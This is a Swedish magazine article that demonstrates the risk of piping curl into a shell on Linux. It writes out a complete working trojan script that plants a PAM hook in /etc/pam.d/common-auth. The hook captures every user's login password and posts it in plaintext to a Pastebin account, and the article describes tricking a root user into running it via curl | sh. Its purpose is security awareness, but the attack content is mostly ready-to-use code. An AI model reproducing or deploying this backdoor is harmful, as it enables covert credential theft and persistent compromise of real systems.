Att installera program i Linux genom att omdirigera utdata från Curl till skalet är snabbt och smidigt. Men det är ack så farligt om du inte känner till programmet eller dess ursprung.

Ett serverrack

För att demonstrera hur någon kan plantera skadlig kod på en Linuxdator ska vi här skriva en enkel trojan. Vi placerar den därefter på en webbserver. När någon – som användaren root – exekverar det genom curl kommer ett skript att placeras i /usr/local/bin/hack. En rad kommer också att läggas till i /etc/pam.d/common-auth.

När någon sedan loggar in på datorn kommer den användarens lösenord att laddas upp till ett Pastebin-konto. Filnamnet på Pastbin-kontot blir användarnamn_password. Innehållet i filen är användarens lösenord i klartext.

Trojanen använder PAM för att snappa upp lösenordet vid inloggning. Här används alternativet expose_authtok (expose authentication token) med skriptet /usr/local/bin/hack. PAM-alternativet expose_authtok gör att det går att utläsa användarens lösenord via standard input. Detta använder skriptet /usr/local/bin/hack. Lösenordet fångas upp till en variabel och skickas till Pastebin via deras API.

Skapa och testa trojanen

Observera att koden för trojanen bara är testad på Debian och Ubuntu.

Vi börjar med att skapa en fil med namnet run-me.sh och placerar det på en webbserver. I mitt fall placerar jag det endast på en intern webbserver. Innehållet i run-me.sh ska vara följande:

#!/bin/bash
PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

if grep -q "/usr/local/bin/hack" /etc/pam.d/common-auth; then
        exit 0
else
cat <<- "EOF" > /usr/local/bin/hack
        #!/bin/bash
        PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin"

        PAM_PASSWORD=`cat -`

        curl -X POST -d "api_dev_key=xxxyyyzzz" \
        -d "api_paste_code=${PAM_PASSWORD}" -d "api_option=paste" \
        -d "api_paste_private=2" -d "api_paste_name=${PAM_USER}_password" \
        -d "api_user_key=aaabbbccc" \
        "https://pastebin.com/api/api_post.php"

        exit 0
        EOF
        chmod +x /usr/local/bin/hack

        echo "auth optional pam_exec.so expose_authtok /usr/local/bin/hack" >> \
		/etc/pam.d/common-auth
fi

I mitt fall går filen nu att nå på den interna adressen
http://kate.nixnet.jke/run-me.sh.

Nästa steg blir att lura en root-användare att köra skriptet. Skriptet ska då exekveras med kommandot:

ANNONS FÖR VÅRA EGNA BÖCKER Demonerna på internet

curl http://kate.nixnet.jke/run-me.sh | sh -s -

När root-användaren väl har kört skriptet är det bara att vänta på att någon loggar in på datorn. Lösenordet kommer då att skickas i klartext till Pastbin-kontot. Det kommer att se ut som i bilden nedan.

Lösenordet visas i Pastebin Användaren jakes lösenord i klartext, som här är Kalle123

Avslutning

Så enkelt är det således att hacka ett system om man inte är försiktig med vad man exekverar som root. Det krävdes färre än 20 rader kod för att få användarnas lösenord skickade via Pastebin, allteftersom de loggar in på datorn. Då kan man bara fantisera om vad som skulle vara möjligt att åstadkomma med mer tid och resurser.


Nyhetsbrev
Nyhetsuppdateringar från tidningen direkt till din inkorg, helt kostnadsfritt. Avsluta när du vill.

Kommentarer

Kommentarsfältet är modererat. Det innebär att alla kommentarer granskas av ansvarig utgivare före publicering.

Du väljer själv om du vill ange ditt riktiga namn, en pseudonym eller vara helt anonym. Ingen registrering behövs.